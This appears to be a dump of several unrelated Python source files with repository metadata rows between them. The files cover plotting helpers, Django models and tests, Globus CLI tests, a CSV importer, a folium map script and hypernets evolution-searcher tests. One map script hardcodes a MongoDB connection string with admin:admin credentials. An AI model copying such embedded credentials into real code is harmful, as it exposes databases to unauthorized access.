keys=everion_keys.MAJOR_MIXED_VITAL_RAW, short_keys=everion_keys.SHORT_NAMES_MIXED_VITAL_RAW, min_scale=0, max_scale=100, start_idx=0, end_idx=3)) files = list(out_dir.glob("**/*.png")) self.assertEqual(25, len(files)) @testing.skip_because_is_runner def test_cross_hours_vital(self): in_dir = '' out_dir = FileHelper.get_out_dir(in_dir=in_dir, out_dir=self.out_dir, out_dir_suffix='_cross') self.correlator.plot_hourly_correlations( VisProperties(in_dir=in_dir, out_dir=out_dir, normalization=Normalization.NONE, keys=everion_keys.MAJOR_VITAL, short_keys=everion_keys.SHORT_NAMES_VITAL, min_scale=0, max_scale=100, start_idx=0, end_idx=3)) self.assertTrue(True) @testing.skip_because_is_runner def test_cross_days_vital(self): in_dir = '' out_dir = FileHelper.get_out_dir(in_dir=in_dir, out_dir=self.out_dir, out_dir_suffix='_daily_cross') self.correlator.plot_daily_correlations( VisProperties(in_dir=in_dir, out_dir=out_dir, normalization=Normalization.NONE, keys=everion_keys.MAJOR_VITAL, short_keys=everion_keys.SHORT_NAMES_VITAL, min_scale=0, max_scale=100, start_idx=0, end_idx=3)) self.assertTrue(True) @testing.skip_because_is_runner def test_cross_correlator_hours_mixed_raw_vital(self): in_dir = '' out_dir = FileHelper.get_out_dir(in_dir=in_dir, out_dir=self.out_dir, out_dir_suffix='_cross') self.correlator.plot_hourly_correlations( VisProperties(in_dir=in_dir, out_dir=out_dir, normalization=Normalization.NONE, keys=everion_keys.MAJOR_MIXED_VITAL_RAW, short_keys=everion_keys.SHORT_NAMES_MIXED_VITAL_RAW, min_scale=0, max_scale=100, start_idx=0, end_idx=3)) self.assertTrue(True) @testing.skip_because_is_runner def test_cross_correlator_days_mixed_vital_raw(self): in_dir = '' out_dir = FileHelper.get_out_dir(in_dir=in_dir, out_dir=self.out_dir, out_dir_suffix='_daily_cross') self.correlator.plot_daily_correlations( VisProperties(in_dir=in_dir, out_dir=out_dir, normalization=Normalization.NONE, keys=everion_keys.MAJOR_MIXED_VITAL_RAW, short_keys=everion_keys.SHORT_NAMES_MIXED_VITAL_RAW, min_scale=0, max_scale=100, start_idx=0, end_idx=3)) self.assertTrue(True) if __name__ == '__main__': unittest.main()
44.691275
78
0.565851
6,177
0.927617
0
0
2,906
0.436402
0
0
291
0.0437
9fd91ec0b1f55cd338e90af15b11bcbae0dc4915
1,471
py
Python
neurgoo/misc/plot_utils.py
NISH1001/neurgoo
83b2f4928d362b2b3c2f80ff6afe4c4768d6cc74
[ "MIT" ]
2
2022-03-02T11:59:19.000Z
2022-03-18T17:59:28.000Z
neurgoo/misc/plot_utils.py
NISH1001/neurgoo
83b2f4928d362b2b3c2f80ff6afe4c4768d6cc74
[ "MIT" ]
1
2022-03-03T14:07:19.000Z
2022-03-03T14:07:19.000Z
neurgoo/misc/plot_utils.py
NISH1001/neurgoo
83b2f4928d362b2b3c2f80ff6afe4c4768d6cc74
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 from typing import Dict, List try: import matplotlib.pyplot as plt MATPLOTLIB = True except: MATPLOTLIB = False from loguru import logger from .eval import EvalData def plot_losses(losses): if not MATPLOTLIB: logger.error("Maplotlib not installed. Halting the plot process!") return plt.plot(losses) plt.show() def plot_history( history: Dict[str, List[EvalData]], plot_type="loss", figure_size=(20, 7) ) -> None: """ This function plots train/val metrics in the same figure. """ if not MATPLOTLIB: logger.error("Maplotlib not installed. Halting the plot process!") return train = history.get("train", []) val = history.get("val", []) # get epoch data common to both t_epochs = list(map(lambda e: e.epoch, train)) v_epochs = list(map(lambda e: e.epoch, val)) epochs = set(t_epochs).intersection(v_epochs) train = filter(lambda e: e.epoch in epochs, train) train = sorted(train, key=lambda e: e.epoch) val = filter(lambda e: e.epoch in epochs, val) val = sorted(val, key=lambda e: e.epoch) plt.figure(figsize=figure_size) plt.plot([getattr(data, plot_type) for data in train]) plt.plot([getattr(data, plot_type) for data in val]) plt.legend([f"Train {plot_type}", f"Val {plot_type}"]) plt.xlabel("epoch") plt.ylabel(f"{plot_type}") def main(): pass if __name__ == "__main__": main()
23.349206
77
0.650578
0
0
0
0
0
0
0
0
317
0.2155
9fdabb9fe3ddfe1efb0455a952de16d9ff31f05a
3,277
py
Python
LPSelectiveSearch.py
ksdsouza/license-plate-detector
900a032768d9c623b7ecb1ec7abd07651fda2b16
[ "MIT" ]
null
null
null
LPSelectiveSearch.py
ksdsouza/license-plate-detector
900a032768d9c623b7ecb1ec7abd07651fda2b16
[ "MIT" ]
null
null
null
LPSelectiveSearch.py
ksdsouza/license-plate-detector
900a032768d9c623b7ecb1ec7abd07651fda2b16
[ "MIT" ]
null
null
null
import itertools import os import sys import cv2 import numpy as np from SelectiveSearch import SelectiveSearch images_path = "Images" annotations = "Annotations" cv2.setUseOptimized(True) selective_search = SelectiveSearch() train_images = [] train_labels = [] SS_IMG_SIZE = (224, 224) # chunk = int(sys.argv[1]) def get_annotation(file: str) -> (dict, object): f = open(file) [filename, x1, y1, dx, dy] = f.readline().split('\t')[0:5] f.close() img_filename = os.path.join(images_path, filename) boundary_box = { 'x1': int(x1), 'y1': int(y1), 'x2': int(x1) + int(dx), 'y2': int(y1) + int(dy) } return boundary_box, img_filename def get_iou(bb1: dict, bb2: dict) -> float: x_left = max(bb1['x1'], bb2['x1']) y_top = max(bb1['y1'], bb2['y1']) x_right = min(bb1['x2'], bb2['x2']) y_bottom = min(bb1['y2'], bb2['y2']) if x_right < x_left or y_bottom < y_top: return 0.0 intersection_area = (x_right - x_left) * (y_bottom - y_top) bb1_area = (bb1['x2'] - bb1['x1']) * (bb1['y2'] - bb1['y1']) bb2_area = (bb2['x2'] - bb2['x1']) * (bb2['y2'] - bb2['y1']) iou = intersection_area / float(bb1_area + bb2_area - intersection_area) assert iou >= 0.0 assert iou <= 1.0 return iou # filenames = list(enumerate( # f for f in os.listdir(annotations) # if f.startswith('wts') # ))[chunk * 20:(chunk + 1) * 20] # # for index, file in filenames: # try: # print(f"{index}\t{file}") # boundary_box, img_filename = get_annotation(os.path.join(annotations, file)) # ss_results, img_out = selective_search.process_image(img_filename) # lp_counter = 0 # bg_counter = 0 # fflag = False # bflag = False # # for result in itertools.islice(ss_results, 2000): # x1, y1, dx, dy = result # if file.startswith('wts_textonly'): # iou = 0 # else: # iou = get_iou(boundary_box, { # 'x1': x1, # 'y1': y1, # 'x2': x1 + dx, # 'y2': y1 + dy # }) # if bg_counter < 30: # if iou < 0.3: # test_image = img_out[y1: y1 + dy, x1:x1 + dx] # resized = cv2.resize(test_image, SS_IMG_SIZE, interpolation=cv2.INTER_AREA) # train_images.append(resized) # train_labels.append(0) # bg_counter += 1 # else: # bflag = True # if lp_counter < 30: # if iou > 0.85: # test_image = img_out[y1: y1 + dy, x1:x1 + dx] # resized = cv2.resize(test_image, SS_IMG_SIZE, interpolation=cv2.INTER_AREA) # train_images.append(resized) # train_labels.append(1) # lp_counter += 1 # else: # fflag = True # if fflag and bflag: # break # except Exception as e: # print(e) # print(f"Error occurred in {file}") # # np.save(f'train_images_chunk{chunk}', train_images) # np.save(f'train_labels_chunk{chunk}', train_labels)
30.06422
97
0.523039
0
0
0
0
0
0
0
0
2,054
0.626793
9fdadafb759d17ded7ccd299bdbfcf9faeff04b7
66
py
Python
lang/py/cookbook/v2/source/cb2_1_18_exm_3.py
ch1huizong/learning
632267634a9fd84a5f5116de09ff1e2681a6cc85
[ "MIT" ]
null
null
null
lang/py/cookbook/v2/source/cb2_1_18_exm_3.py
ch1huizong/learning
632267634a9fd84a5f5116de09ff1e2681a6cc85
[ "MIT" ]
null
null
null
lang/py/cookbook/v2/source/cb2_1_18_exm_3.py
ch1huizong/learning
632267634a9fd84a5f5116de09ff1e2681a6cc85
[ "MIT" ]
null
null
null
rx = re.compile(r'\b%s\b' % r'\b|\b'.join(map(re.escape, adict)))
33
65
0.575758
0
0
0
0
0
0
0
0
17
0.257576
9fddbda4c3c7b498a0499af95d1e10c2e4bd8c81
233
py
Python
projects/admin.py
kylef-archive/django-projects
306043b7aea7a170adc70cb78844e039efc161d4
[ "BSD-2-Clause" ]
2
2015-02-15T19:01:29.000Z
2015-11-08T13:25:14.000Z
projects/admin.py
kylef/django-projects
306043b7aea7a170adc70cb78844e039efc161d4
[ "BSD-2-Clause" ]
null
null
null
projects/admin.py
kylef/django-projects
306043b7aea7a170adc70cb78844e039efc161d4
[ "BSD-2-Clause" ]
1
2021-08-02T19:08:29.000Z
2021-08-02T19:08:29.000Z
from django.contrib import admin from projects.models import Project class ProjectAdmin(admin.ModelAdmin): prepopulated_fields = {'slug': ['title']} list_display = ('title', 'git') admin.site.register(Project, ProjectAdmin)
29.125
45
0.751073
119
0.51073
0
0
0
0
0
0
25
0.107296
9fde09067036bce742f20360db8b7e67c431adac
3,636
py
Python
core/tests/test_office.py
cjmash/art-backend
fb1dfd69cca9cda1d8714bd7066c3920d1a97312
[ "MIT" ]
null
null
null
core/tests/test_office.py
cjmash/art-backend
fb1dfd69cca9cda1d8714bd7066c3920d1a97312
[ "MIT" ]
null
null
null
core/tests/test_office.py
cjmash/art-backend
fb1dfd69cca9cda1d8714bd7066c3920d1a97312
[ "MIT" ]
null
null
null
from django.contrib.auth import get_user_model from django.db import transaction from rest_framework.exceptions import ValidationError from ..models import OfficeBlock, OfficeFloor, OfficeFloorSection from core.tests import CoreBaseTestCase User = get_user_model() class OfficeBlockModelTest(CoreBaseTestCase): """Tests for the Office Block Models""" def setUp(self): super(OfficeBlockModelTest, self).setUp() self.admin = User.objects.create_superuser( email='testuser@gmail.com', cohort=19, slack_handle='tester', password='qwerty123' ) self.office_block = OfficeBlock.objects.create( name="Block A" ) self.office_floor = OfficeFloor.objects.create( number=5, block=self.office_block ) self.office_floor_section = OfficeFloorSection.objects.create( name="Right Wing", floor=self.office_floor ) self.all_office_blocks = OfficeBlock.objects.all() self.all_office_floors = OfficeFloor.objects.all() self.all_office_floor_sections = OfficeFloorSection.objects.all() self.token_user = 'testtoken' def test_add_new_office_block(self): """Test add new office block""" self.assertEqual(self.all_office_blocks.count(), 1) new_office_block = OfficeBlock(name="Block B") new_office_block.save() self.assertEqual(self.all_office_blocks.count(), 2) def test_add_new_office_floor(self): """Test add new office floor""" self.assertEqual(self.all_office_floors.count(), 1) new_office_floor = OfficeFloor( number=10, block=self.office_block) new_office_floor.save() self.assertEqual(self.all_office_floors.count(), 2) def test_add_new_office_floor_section(self): """Test add new Office Floor Section""" self.assertEqual(self.all_office_floor_sections.count(), 1) new_office_floor_section = OfficeFloorSection( name="Left Wing", floor=self.office_floor) new_office_floor_section.save() self.assertEqual(self.all_office_floor_sections.count(), 2) def test_cannot_add_existing_office_block(self): """Test cannot add existing office_block name""" self.assertEqual(self.all_office_blocks.count(), 1) with transaction.atomic(): with self.assertRaises(ValidationError): new_office_block = OfficeBlock.objects.create( name="Block A" ) new_office_block.save() self.assertEqual(self.all_office_blocks.count(), 1) def test_cannot_add_existing_office_floor_section(self): """Test cannot add existing office floor section name""" self.assertEqual(self.all_office_floor_sections.count(), 1) with transaction.atomic(): with self.assertRaises(ValidationError): new_office_floor_section = OfficeFloorSection( name="Right Wing", floor=self.office_floor ) new_office_floor_section.save() self.assertEqual(self.all_office_floor_sections.count(), 1) def test_office_block_model_string_representation(self): self.assertEqual(str(self.office_block), "Block A") def test_office_floor_model_string_representation(self): self.assertEqual(self.office_floor.number, 5) def test_office_floor_section_model_string_representation(self): self.assertEqual(str(self.office_floor_section), "Right Wing")
37.484536
73
0.668592
3,365
0.925468
0
0
0
0
0
0
377
0.103685
9fdf686d8f768389a99935e8b0188491d6cb098b
2,481
py
Python
tests/functional/collection/test_collection_show.py
sirosen/temp-cli-test
416fd3fea17b4c7c2cf35d6ccde63cb5719a1af6
[ "Apache-2.0" ]
47
2016-04-21T19:51:17.000Z
2022-02-25T14:13:30.000Z
tests/functional/collection/test_collection_show.py
sirosen/temp-cli-test
416fd3fea17b4c7c2cf35d6ccde63cb5719a1af6
[ "Apache-2.0" ]
421
2016-04-20T18:45:24.000Z
2022-03-14T14:50:41.000Z
tests/functional/collection/test_collection_show.py
sirosen/temp-cli-test
416fd3fea17b4c7c2cf35d6ccde63cb5719a1af6
[ "Apache-2.0" ]
20
2016-09-10T20:25:27.000Z
2021-10-06T16:02:47.000Z
import pytest def test_collection_show(run_line, load_api_fixtures, add_gcs_login): data = load_api_fixtures("collection_operations.yaml") cid = data["metadata"]["mapped_collection_id"] username = data["metadata"]["username"] epid = data["metadata"]["endpoint_id"] add_gcs_login(epid) _result, matcher = run_line(f"globus collection show {cid}", matcher=True) matcher.check(r"^Display Name:\s+(.*)$", groups=["Happy Fun Collection Name"]) matcher.check(r"^Owner:\s+(.*)$", groups=[username]) matcher.check(r"^ID:\s+(.*)$", groups=[cid]) matcher.check(r"^Collection Type:\s+(.*)$", groups=["mapped"]) matcher.check(r"^Connector:\s+(.*)$", groups=["POSIX"]) def test_collection_show_private_policies(run_line, load_api_fixtures, add_gcs_login): data = load_api_fixtures("collection_show_private_policies.yaml") cid = data["metadata"]["collection_id"] username = data["metadata"]["username"] epid = data["metadata"]["endpoint_id"] add_gcs_login(epid) _result, matcher = run_line( f"globus collection show --include-private-policies {cid}", matcher=True ) matcher.check(r"^Display Name:\s+(.*)$", groups=["Happy Fun Collection Name"]) matcher.check(r"^Owner:\s+(.*)$", groups=[username]) matcher.check(r"^ID:\s+(.*)$", groups=[cid]) matcher.check(r"^Collection Type:\s+(.*)$", groups=["mapped"]) matcher.check(r"^Connector:\s+(.*)$", groups=["POSIX"]) matcher.check(r"Root Path:\s+(.*)$", groups=["/"]) matcher.check( r"^Sharing Path Restrictions:\s+(.*)$", groups=[ '{"DATA_TYPE": "path_restrictions#1.0.0", "none": ["/"], "read": ["/projects"], "read_write": ["$HOME"]}', # noqa: E501 ], ) @pytest.mark.parametrize( "epid_key, ep_type", [ ("gcp_endpoint_id", "Globus Connect Personal"), ("endpoint_id", "Globus Connect Server v5 Endpoint"), ], ) def test_collection_show_on_non_collection( run_line, load_api_fixtures, epid_key, ep_type ): data = load_api_fixtures("collection_operations.yaml") epid = data["metadata"][epid_key] result = run_line(f"globus collection show {epid}", assert_exit_code=3) assert ( f"Expected {epid} to be a collection ID.\n" f"Instead, found it was of type '{ep_type}'." ) in result.stderr assert ( "Please run the following command instead:\n\n" f" globus endpoint show {epid}" ) in result.stderr
36.485294
132
0.639258
0
0
0
0
732
0.295042
0
0
1,126
0.453849
9fdfc62d17a4273e27c2f11b9b40558a4ec8fe41
2,044
py
Python
job.py
mapledyne/ihunttools
28d4f7dbf61b6e3f34c9e1cdfdac2e9afec177d8
[ "MIT" ]
null
null
null
job.py
mapledyne/ihunttools
28d4f7dbf61b6e3f34c9e1cdfdac2e9afec177d8
[ "MIT" ]
2
2021-09-08T02:16:00.000Z
2022-01-13T02:57:26.000Z
job.py
mapledyne/ihunttools
28d4f7dbf61b6e3f34c9e1cdfdac2e9afec177d8
[ "MIT" ]
null
null
null
import argparse import random import ihuntapp if __name__ == "__main__": parser = argparse.ArgumentParser(description='Build an #iHunt job app page.') parser.add_argument('--name', "-n", default="Unnamed job", help='Name of the job') parser.add_argument('--description', "-d", default="No description available", help='Description of the job') parser.add_argument('--image', "-i", type=str, default="", help='Job image', required=True) parser.add_argument('--price', "-p", default=(random.randint(1, 18) * 500), help='Price the job pays') parser.add_argument('--stars', "-s", type=float, default=(random.randint(3, 8) * 0.5), help='Star level of job') parser.add_argument('--currency', default="$", help='Currency symbol') parser.add_argument('--distance', type=float, default=random.uniform(5, 25), help='Distance of job') parser.add_argument('--distanceunit', default="miles", help='distance unit') parser.add_argument('--time', "-t", type=float, default=random.randint(1, 3), help='Time of post') parser.add_argument('--timeunit', default="days", help='Time unit') parser.add_argument('--remaining', "-r", type=float, default=random.randint(3, 8), help='Time of post') parser.add_argument('--remainingunit', default="days", help='Time unit') parser.add_argument('--output', '-o', default='job.png', help='Filename to save screenshot') args = parser.parse_args() phone = ihuntapp.iHuntApp(args.name, args.description, args.image) phone.price = args.price phone.stars = args.stars phone.currency = args.currency phone.distance = args.distance phone.distanceunit = args.distanceunit phone.time = args.time phone.timeunit = args.timeunit phone.remaining = args.remaining phone.remainingunit = args.remainingunit phone.screenshot(args.output)
44.434783
99
0.626223
0
0
0
0
0
0
0
0
514
0.251468
9fe154537630b5423fecebdaa0e5bc8b96aff771
4,945
py
Python
category_import.py
iankigen/art-backend
e46f8e1a530ae56b6a236af4ff686ca4e0dd6630
[ "MIT" ]
null
null
null
category_import.py
iankigen/art-backend
e46f8e1a530ae56b6a236af4ff686ca4e0dd6630
[ "MIT" ]
null
null
null
category_import.py
iankigen/art-backend
e46f8e1a530ae56b6a236af4ff686ca4e0dd6630
[ "MIT" ]
null
null
null
import sys import os import csv from tqdm import tqdm import django from import_util import display_inserted, display_skipped project_dir = os.path.dirname(os.path.abspath(__file__)) sys.path.append(project_dir) os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings") django.setup() from core.models.asset import AssetCategory, AssetSubCategory # noqa def load_csv_file(file_name): # noqa print('\n') if os.path.isfile(file_name): if not file_name.endswith('.csv'): return 'File not supported' else: with open(file_name, 'r', ) as f: file_length = len(f.readlines()) - 1 f.seek(0) skipped = dict() inserted_records = [] data = csv.DictReader(f, delimiter=',') counter = 1 with tqdm(total=file_length) as pbar: for row in data: assets_category = AssetCategory.objects.\ filter(category_name=row['Category']).exists() assets_sub_category = AssetSubCategory.objects.\ filter(sub_category_name=row['Sub Category']).\ exists() if assets_category: if assets_sub_category: skipped[row['Category']] = [( 'Category {0} already exists'. format(row['Category'])), counter] skipped[row['Sub Category']] = [( 'Sub Category {0} already exists'. format(row['Sub Category'])), counter] else: category = AssetCategory.objects.get( category_name=row['Category'] ) assets_sub_category = AssetSubCategory.\ objects.create( sub_category_name=row['Sub Category'], asset_category=category ) assets_sub_category.save() inserted_records.append([ assets_sub_category, counter] ) skipped[row['Category']] = [( 'Category {0} already exists'. format(row['Category'])), counter] elif not assets_category: if assets_sub_category: asset_category = AssetCategory.objects.create( category_name=row['Category'] ) asset_category.save() inserted_records.append([ asset_category, counter] ) skipped[row['Sub Category']] = [( 'Sub Category {0} already exists'. format(row['Sub Category'])), counter] else: asset_category = AssetCategory.objects.create( category_name=row['Category'] ) asset_category.save() category = AssetCategory.objects.get( category_name=row['Category'] ) sub_category = AssetSubCategory.objects.create( sub_category_name=row['Sub Category'], asset_category=category ) sub_category.save() inserted_records.append([ asset_category, counter] ) inserted_records.append([ sub_category, counter] ) counter += 1 pbar.update(1) print("\n") display_inserted(inserted_records) display_skipped(skipped) return 'File not found' if __name__ == '__main__': print('********* Import the csv file ********') input_file = input('Import the file: ') load_csv_file(input_file) # noqa
44.151786
79
0.394944
0
0
0
0
0
0
0
0
489
0.098888
9fe1fc1239cc234d72923d2663fd719390f1395d
454
py
Python
epochbot/utils.py
jaloo555/solana-easy-py
8e28b8de52fbe4ee0b8e94a0f9c728114fc91728
[ "MIT" ]
4
2021-09-10T19:20:42.000Z
2022-02-12T00:27:40.000Z
epochbot/utils.py
jaloo555/solana-easy-py
8e28b8de52fbe4ee0b8e94a0f9c728114fc91728
[ "MIT" ]
null
null
null
epochbot/utils.py
jaloo555/solana-easy-py
8e28b8de52fbe4ee0b8e94a0f9c728114fc91728
[ "MIT" ]
1
2021-11-08T15:32:46.000Z
2021-11-08T15:32:46.000Z
def enum(*sequential, **named): enums = dict(zip(sequential, range(len(sequential))), **named) return type('Enum', (), enums) ENDPOINT_URLS_ENUM = enum( MAIN='https://api.mainnet-beta.solana.com', DEV='https://api.devnet.solana.com', TEST='https://api.testnet.solana.com', ) ENDPOINT_URLS = { "MAIN":'https://api.mainnet-beta.solana.com', "DEV":'https://api.devnet.solana.com', "TEST":'https://api.testnet.solana.com', }
30.266667
66
0.645374
0
0
0
0
0
0
0
0
223
0.491189
9fe207c6dcc8198ff87d2e16175a87d21e6112ea
812
py
Python
FrontEnd/mapa_pontos.py
JessicaIsri/WebBot
e9ed911c0306f5e362b577e244e50073336480ea
[ "bzip2-1.0.6" ]
null
null
null
FrontEnd/mapa_pontos.py
JessicaIsri/WebBot
e9ed911c0306f5e362b577e244e50073336480ea
[ "bzip2-1.0.6" ]
1
2021-11-13T10:12:49.000Z
2021-11-16T12:17:01.000Z
FrontEnd/mapa_pontos.py
JessicaIsri/WebBot
e9ed911c0306f5e362b577e244e50073336480ea
[ "bzip2-1.0.6" ]
null
null
null
import pymongo import folium from pymongo import MongoClient db = MongoClient('mongodb+srv://admin:admin@cluster0-vuh1j.azure.mongodb.net/test?retryWrites=true&w=majority') db = db.get_database('BD_EMPRESAS') collection = db.empresas cnpj = [] latitude = [] longitude = [] qtd_range = [] endereco = [] cnpj = db.get_collection('empresas').distinct("cnpj") latitude = db.get_collection('empresas').distinct("latitude") qtd_range = len(latitude) longitude = db.get_collection('empresas').distinct("longitude") endereco = db.get_collection('empresas').distinct("endereco") mapa = folium.Map(location=[-23.4795233,-46.2698754],zoom_start=9) for i in range(qtd_range): folium.Marker([latitude[i], longitude[i]], popup='CNPJ: '+cnpj[i]+'\n Endereco: '+endereco[i]).add_to(mapa) mapa.save("index.html")
24.606061
111
0.730296
0
0
0
0
0
0
0
0
218
0.268473
9fe282030a02b4055f9395a841b3fabbcbf1b05f
835
py
Python
tests/test_BG_IO.py
GeorgRamer/anasys-python-tools
f4fbb83b7df8f6b2fefac3fb5e478076fcea7cfa
[ "MIT" ]
null
null
null
tests/test_BG_IO.py
GeorgRamer/anasys-python-tools
f4fbb83b7df8f6b2fefac3fb5e478076fcea7cfa
[ "MIT" ]
null
null
null
tests/test_BG_IO.py
GeorgRamer/anasys-python-tools
f4fbb83b7df8f6b2fefac3fb5e478076fcea7cfa
[ "MIT" ]
null
null
null
import anasyspythontools as apt import pytest import glob import os TESTFOLDER = os.path.join(os.path.dirname(__file__),"test data") @pytest.mark.parametrize("filename", glob.glob(os.path.join(TESTFOLDER, "*.irb"))) class TestBG: def setup_method(self, filename): pass def teardown_method(self): pass def test_basic_read(self, filename): f = apt.read(filename) assert f is not None assert isinstance(f, apt.irspectra.Background) def test_basic_read(self, filename): f = apt.read(filename) def test_check_equality(self, filename): assert apt.read(filename) == apt.read(filename) def test_check_attributes(self, filename): f = apt.read(filename) assert hasattr(f,"wn") assert hasattr(f,"signal")
23.194444
83
0.646707
611
0.731737
0
0
695
0.832335
0
0
40
0.047904
9fe2e87d337b6c88bd8c4467d12c5b714809bf62
1,015
py
Python
afpy/yml.py
fordaj/afpy
4fca208a186d276a28e7911210cedb02033237b0
[ "MIT" ]
null
null
null
afpy/yml.py
fordaj/afpy
4fca208a186d276a28e7911210cedb02033237b0
[ "MIT" ]
null
null
null
afpy/yml.py
fordaj/afpy
4fca208a186d276a28e7911210cedb02033237b0
[ "MIT" ]
null
null
null
import yaml from yaml import Loader, Dumper from .pathify import * class yml: def __init__(self): pass def dump(self, data, path : str ): '''Dumps incoming python data into a YAML file at `path`. ----- * `data` (dict,list,tuple) : Any YAML dump friendly python data structure. * `path` (str) : Path to YAML output file. ''' with open(path, "w") as output_file: yaml.dump(data, output_file, Dumper=yaml.Dumper) def load(self, path : str ): '''Loads YAML data from a file at the provided path. ----- * `path` (str) : Path to YAML file. * `return` (dict,list,tuple) : Returns a python data structure. ''' path = pathify(path) with open(path,'r') as input_file: return yaml.load(input_file, Loader=yaml.Loader)
30.757576
86
0.487685
945
0.931034
0
0
0
0
0
0
475
0.46798
9fe326bc9f4e12d04244fe6f4b5e92ea0f66a315
88
py
Python
Algorithm/__init__.py
DSC-Bennett-University/AI-ML-Starter
5dc411c686a703c37eaf7e88db184cb8972ad2d1
[ "MIT" ]
1
2021-10-01T05:54:02.000Z
2021-10-01T05:54:02.000Z
Algorithm/__init__.py
DSC-Bennett-University/AI-ML-Starter
5dc411c686a703c37eaf7e88db184cb8972ad2d1
[ "MIT" ]
7
2021-09-21T11:38:50.000Z
2021-10-06T10:28:11.000Z
Algorithm/__init__.py
DSC-Bennett-University/AI-ML-Starter
5dc411c686a703c37eaf7e88db184cb8972ad2d1
[ "MIT" ]
4
2021-09-21T12:08:05.000Z
2021-10-01T05:54:08.000Z
from .template import template from .tools import tools from .LinearReg import LinearReg
29.333333
32
0.840909
0
0
0
0
0
0
0
0
0
0
9fe3746b0ca2a17a4da60916603ceccce096325e
6,994
py
Python
hypernets/tests/searchers/evolution_test.py
Enpen/Hypernets
5fbf01412ffaef310855d98f52f8cc169e96246b
[ "Apache-2.0" ]
1,080
2020-06-22T07:44:22.000Z
2022-03-22T07:46:48.000Z
hypernets/tests/searchers/evolution_test.py
Enpen/Hypernets
5fbf01412ffaef310855d98f52f8cc169e96246b
[ "Apache-2.0" ]
24
2020-08-06T02:06:37.000Z
2022-03-31T03:34:35.000Z
hypernets/tests/searchers/evolution_test.py
Enpen/Hypernets
5fbf01412ffaef310855d98f52f8cc169e96246b
[ "Apache-2.0" ]
170
2020-08-14T08:39:18.000Z
2022-03-23T12:58:17.000Z
# -*- coding:utf-8 -*- """ """ import numpy as np from hypernets.core.ops import Identity from hypernets.core.search_space import HyperSpace, Int, Real, Choice, Bool from hypernets.core.searcher import OptimizeDirection from hypernets.searchers.evolution_searcher import Population, EvolutionSearcher def get_space(): space = HyperSpace() with space.as_default(): p1 = Int(1, 100) p2 = Choice(['a', 'b']) p3 = Bool() p4 = Real(0.0, 1.0) id1 = Identity(p1=p1) id2 = Identity(p2=p2)(id1) id3 = Identity(p3=p3)(id2) id4 = Identity(p4=p4)(id3) return space class Test_Evolution(): def test_population(self): population = Population(optimize_direction=OptimizeDirection.Maximize, random_state=np.random.RandomState(9527)) population.append('a', 0) population.append('b', 1) population.append('c', 2) population.append('d', 3) population.append('e', 4) population.append('f', 5) population.append('g', 6) population.append('h', 7) population.append('i', 8) population.append('i', 9) b1 = population.sample_best(25) assert b1.reward == 8 population = Population(optimize_direction=OptimizeDirection.Minimize, random_state=np.random.RandomState(9527)) population.append('a', 0) population.append('b', 1) population.append('c', 2) population.append('d', 3) population.append('e', 4) population.append('f', 5) population.append('g', 6) population.append('h', 7) population.append('i', 8) population.append('i', 9) b2 = population.sample_best(25) assert b2.reward == 0 def test_eliminate(self): population = Population(optimize_direction=OptimizeDirection.Maximize) population.append('a', 4) population.append('b', 3) population.append('c', 2) population.append('d', 1) population.append('e', 0) population.append('f', 5) population.append('g', 6) population.append('h', 7) population.append('i', 8) population.append('j', 9) eliminates = population.eliminate(2, regularized=True) assert eliminates[0].space_sample == 'a' and eliminates[1].space_sample == 'b' eliminates = population.eliminate(2, regularized=False) assert eliminates[0].space_sample == 'e' and eliminates[1].space_sample == 'd' def test_mutate(self): def get_space(): space = HyperSpace() with space.as_default(): id1 = Identity(p1=Int(0, 10), p2=Choice(['a', 'b'])) id2 = Identity(p3=Real(0., 1.), p4=Bool())(id1) return space # population = Population(optimize_direction=OptimizeDirection.Maximize) population = Population(optimize_direction='max') space1 = get_space() space1.random_sample() assert space1.all_assigned space2 = get_space() assert not space2.all_assigned new_space = population.mutate(space1, space2) pv1 = list(space1.get_assigned_param_values().values()) pv2 = list(space2.get_assigned_param_values().values()) assert space2.all_assigned assert new_space.all_assigned assert np.sum([v1 != v2 for v1, v2 in zip(pv1, pv2)]) == 1 def test_set_random_state(self): from hypernets.core import set_random_state set_random_state(9527) searcher = EvolutionSearcher(get_space, 5, 3, regularized=False, optimize_direction=OptimizeDirection.Maximize) vectors = [] for i in range(1, 10): vectors.append(searcher.sample().vectors) assert vectors == [[98, 0, 0, 0.96], [9, 0, 0, 0.93], [60, 0, 1, 0.24], [54, 0, 1, 0.7], [25, 0, 1, 0.73], [67, 1, 1, 0.43], [57, 1, 1, 0.05], [49, 0, 0, 0.71], [71, 1, 1, 0.49]] set_random_state(None) searcher = EvolutionSearcher(get_space, 5, 3, regularized=False, optimize_direction=OptimizeDirection.Maximize) vectors = [] for i in range(1, 10): vectors.append(searcher.sample().vectors) assert vectors != [[98, 0, 0, 0.96], [9, 0, 0, 0.93], [60, 0, 1, 0.24], [54, 0, 1, 0.7], [25, 0, 1, 0.73], [67, 1, 1, 0.43], [57, 1, 1, 0.05], [49, 0, 0, 0.71], [71, 1, 1, 0.49]] set_random_state(9527) searcher = EvolutionSearcher(get_space, 5, 3, regularized=False, optimize_direction=OptimizeDirection.Maximize) vectors = [] for i in range(1, 10): vectors.append(searcher.sample().vectors) assert vectors == [[98, 0, 0, 0.96], [9, 0, 0, 0.93], [60, 0, 1, 0.24], [54, 0, 1, 0.7], [25, 0, 1, 0.73], [67, 1, 1, 0.43], [57, 1, 1, 0.05], [49, 0, 0, 0.71], [71, 1, 1, 0.49]] set_random_state(1) searcher = EvolutionSearcher(get_space, 5, 3, regularized=False, optimize_direction=OptimizeDirection.Maximize) vectors = [] for i in range(1, 10): vectors.append(searcher.sample().vectors) assert vectors == [[38, 1, 0, 0.93], [10, 1, 1, 0.15], [17, 1, 0, 0.39], [7, 1, 0, 0.85], [19, 0, 1, 0.44], [29, 1, 0, 0.67], [88, 1, 1, 0.43], [95, 0, 0, 0.8], [10, 1, 1, 0.09]] set_random_state(None) # def test_searcher_with_hp(self): # def get_space(): # space = HyperSpace() # with space.as_default(): # in1 = Input(shape=(10,)) # in2 = Input(shape=(20,)) # in3 = Input(shape=(1,)) # concat = Concatenate()([in1, in2, in3]) # dense1 = Dense(10, activation=Choice(['relu', 'tanh', None]), use_bias=Bool())(concat) # bn1 = BatchNormalization()(dense1) # dropout1 = Dropout(Choice([0.3, 0.4, 0.5]))(bn1) # output = Dense(2, activation='softmax', use_bias=True)(dropout1) # return space # # rs = EvolutionSearcher(get_space, 5, 3, regularized=False, optimize_direction=OptimizeDirection.Maximize) # hk = 